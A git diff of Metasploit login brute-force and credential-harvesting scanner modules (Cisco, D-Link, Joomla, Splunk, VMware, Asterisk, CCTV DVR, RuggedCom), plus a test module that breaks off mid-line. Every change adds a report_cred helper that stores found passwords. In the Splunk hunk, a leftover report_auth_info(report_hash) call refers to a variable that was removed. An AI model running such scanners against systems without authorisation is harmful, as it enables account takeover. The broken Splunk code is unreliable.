a5ea996e81..b01d8af730 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'Cisco ASA ASDM', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # Brute-force the login page def do_login(user, pass) vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") @@ -113,17 +139,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Cisco ASA ASDM', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index e847117c01..3b79e2dda9 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -114,6 +114,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'Cisco IronPort Appliance', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -138,17 +164,7 @@ class Metasploit3 < Msf::Auxiliary if res and res.get_cookies.include?('authenticated=') print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Cisco IronPort Appliance', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index 415bb3e299..5f14f63e63 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -157,6 +157,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'Cisco SSL VPN', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + + # Brute-force the login page def do_login(user, pass, group) vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}") @@ -197,18 +224,7 @@ class Metasploit3 < Msf::Auxiliary do_logout(resp.get_cookies) - report_hash = { - :host => rhost, - :port => rport, - :sname => 'Cisco SSL VPN', - :user => user, - :pass => pass, - :group => group, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index 9c6d48cdb6..64c56ad076 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -82,6 +82,32 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # default to user=admin without password (default on most dlink routers) def do_login(user='admin', pass='') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") @@ -91,16 +117,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}", - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index d9d3972ba8..b710443945 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -101,15 +101,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}", - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else @@ -118,6 +110,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_http_login(user,pass) begin response = send_request_cgi({ diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 30953b0a20..b74c903976 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -83,6 +83,32 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # default to user=admin without password (default on most dlink routers) def do_login(user='admin', pass='') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") @@ -93,15 +119,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"D-Link Management Interface\", PROOF=#{response.to_s}", - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index c4a35015b7..5ba4d5a225 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -56,6 +56,32 @@ class Metasploit3 < Msf::Auxiliary return id, token end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user, pass) # # Get a new session ID/token. That way if we get a successful login, @@ -99,15 +125,7 @@ class Metasploit3 < Msf::Auxiliary location = res.headers['Location'] if res and res.headers and (location = res.headers['Location']) and location =~ /admin\// print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => location, - :source_type => 'user_supplied' - }) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"") diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 0192a19d5e..daba1a4646 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -63,6 +63,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) # Check if remote host is available or appears vulnerable unless check_host(ip) == Exploit::CheckCode::Appears diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 78ced007d5..169c17cefd 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -124,6 +124,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation) vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") @@ -141,17 +167,7 @@ class Metasploit3 < Msf::Auxiliary if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil) print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Ektron CMS400.NET\", VHOST=#{vhost}", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) elsif(res and res.code == 200) vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'") diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index bbf067d4df..0939f53a09 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -66,6 +66,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -87,16 +113,7 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD") print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'EtherPAD Duo Portal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - report_auth_info(report_hash) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") diff --git a/modules/auxiliary/scanner/http/infovista_enum.rb b/modules/auxiliary/scanner/http/infovista_enum.rb index 23464d6934..2278d40260 100644 --- a/modules/auxiliary/scanner/http/infovista_enum.rb +++ b/modules/auxiliary/scanner/http/infovista_enum.rb @@ -79,6 +79,32 @@ class Metasploit3 < Msf::Auxiliary do_login(user, pass) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'InfoVista VistaPortal', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + # # Brute-force the login page # @@ -100,18 +126,7 @@ class Metasploit3 < Msf::Auxiliary vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}") else print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - - report_hash = { - :host => rhost, - :port => rport, - :sname => 'InfoVista VistaPortal', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :next_user end diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb index 78dd94c00d..6fee0a5043 100644 --- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb @@ -109,6 +109,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user, pass) vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") response = do_web_login(user, pass) @@ -116,18 +142,7 @@ class Metasploit3 < Msf::Auxiliary if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => target_url, - :type => 'passsword', - :source_type => 'cred', - :duplicate_ok => true, - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) return :abort if datastore['STOP_ON_SUCCESS'] return :next_user else diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index bb72666909..9a3349e800 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -77,6 +77,31 @@ class Metasploit3 < Msf::Auxiliary return creds.split(":") end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'novellmdm', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) print_status("Verifying that Zenworks login page exists at #{ip}") uri = normalize_uri(target_uri.path) @@ -97,14 +122,7 @@ class Metasploit3 < Msf::Auxiliary print_good("Got creds. Login:#{user} Password:#{pass}") print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/") - report_auth_info( - :host => ip, - :port => rport, - :sname => "novellmdm", - :user => user, - :pass => pass, - :active => true - ) + report_cred(ip: ip, port: rport, user: user, password: pass) else print_error("Zenworks MDM does not appear to be running at #{ip}") return :abort diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 57a569b075..d4db7b12de 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -127,6 +127,31 @@ class Metasploit3 < Msf::Auxiliary return (res and res.body =~ /Logged in as (.+)/) ? false : true end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'splunk-web', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end # # Brute-force the login page @@ -165,15 +190,8 @@ class Metasploit3 < Msf::Auxiliary end print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass) - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'splunk-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} report_auth_info(report_hash) return :next_user diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 1c7b103f57..03fa58ab3f 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary return id end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user, pass) begin sid = get_sid @@ -93,15 +119,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Username found: #{user}") when /\/ print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "logout=1", - :source_type => 'user_supplied' - }) + report_cred(ip: rhost, port: rport, user:user, password: pass) return :next_user end end diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index bd8b924ac0..b08d53cd3f 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -130,6 +130,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'cctv_dvr', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def do_login(user=nil, pass=nil) vprint_status("#{rhost} - Trying username:'#{user}' with password:'#{pass}'") @@ -179,16 +205,7 @@ class Metasploit3 < Msf::Auxiliary # Report valid credentials under the CCTV DVR admin port (5920/TCP). # This is a proprietary protocol. - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'cctv_dvr', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :duplicate_ok => false, - :active => true - ) + report_cred(ip: rhost, port: rport, user:user, password: pass) @valid_hosts << rhost return :next_user diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index 29eb4d13db..210a41b647 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -58,6 +58,31 @@ class Metasploit3 < Msf::Auxiliary return so_version << " " << product end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end def run_host(ip) to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT'] @@ -70,16 +95,7 @@ class Metasploit3 < Msf::Auxiliary mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0] password = mac_to_password(mac) info = get_info(banner_santized) - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'telnet', - :user => 'factory', - :pass => password, - :source_type => "user_supplied", - :proof => info, - :active => true - ) + report_cred(ip: rhost, port: rport, user:'factory', password: password) break else print_status("It doesn't seem to be a RuggedCom service.") diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index ea5d2b3e7f..214dc66eed 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -37,6 +37,31 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'vmware', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end def run_host(ip) return unless is_vmware? @@ -45,14 +70,7 @@ class Metasploit3 < Msf::Auxiliary case result when :success print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})" - report_auth_info( - :host => rhost, - :port => rport, - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) return if datastore['STOP_ON_SUCCESS'] when :fail print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})" diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index db802dda84..147a417d1a 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -51,6 +51,32 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'asterisk_manager', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def run_host(ip) print_status("Initializing module...") begin @@ -91,15 +117,7 @@ class Metasploit3 < Msf::Auxiliary send_manager(cmd) if /Response: Success/.match(@result) print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'asterisk_manager', - :user => user, - :pass => pass, - :active => true, - :update => :unique_data - ) + report_cred(ip: rhost, port: rport, user: user, password: pass) disconnect return :next_user else diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb new file mode 100644 index 0000000000..3044a2d06e --- /dev/null +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + FAKE_IP = '192.168.12.123' + FAKE_PORT = 80 + FAKE_USER = 'username' + FAKE_PASS = 'password' + + def initialize(info = {}) + super(update_info(info, + 'Name' => "report_cred test", + 'Description' => %q{ + This module will test every auxiliary module's report_cred method + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def test_novell_mdm_creds + mod = framework.auxiliary.create('scanner/http/novell_mdm_creds') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_joomla_bruteforce_login + mod = framework.auxiliary.create('scanner/http/joomla_bruteforce_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_infovista_enum + mod = framework.auxiliary.create('scanner/http/infovista_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_etherpad_duo_login + mod = framework.auxiliary.create('scanner/http/etherpad_duo_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_ektron_cms400net + mod = framework.auxiliary.create('scanner/http/ektron_cms400net') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_drupal_views_user_enum + mod = framework.auxiliary.create('scanner/http/drupal_views_user_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_dolibarr_login + mod = framework.auxiliary.create('scanner/http/dolibarr_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_dlink_dir_session_cgi_http_login + mod = framework.auxiliary.create('scanner/http/dlink_dir_session_cgi_http_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_dlink_dir_615h_http_login + mod = framework.auxiliary.create('scanner/http/dlink_dir_615h_http_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_dlink_dir_300_615_http_login + mod = framework.auxiliary.create('scanner/http/dlink_dir_300_615_http_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_cisco_ssl_vpn + mod = framework.auxiliary.create('scanner/http/cisco_ssl_vpn') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_cisco_ironport_enum + mod = framework.auxiliary.create('scanner/http/cisco_ironport_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_cisco_asa_asdm + mod = framework.auxiliary.create('scanner/http/cisco_asa_asdm') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_axis_local_file_include + mod = framework.auxiliary.create('scanner/http/axis_local_file_include') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_splunk_web_login + mod = framework.auxiliary.create('scanner/http/splunk_web_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_cctv_dvr_login + mod = framework.auxiliary.create('scanner/misc/cctv_dvr_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_http_vcms_login + mod = framework.auxiliary.create('scanner/http/vcms_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + end + + def test_telnet_ruggedcom + mod = framework.auxiliary.create('scanner/telnet/telnet_ruggedcom') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 'factory', password: FAKE_PASS) + end + + def test_vmware_http_login + mod = 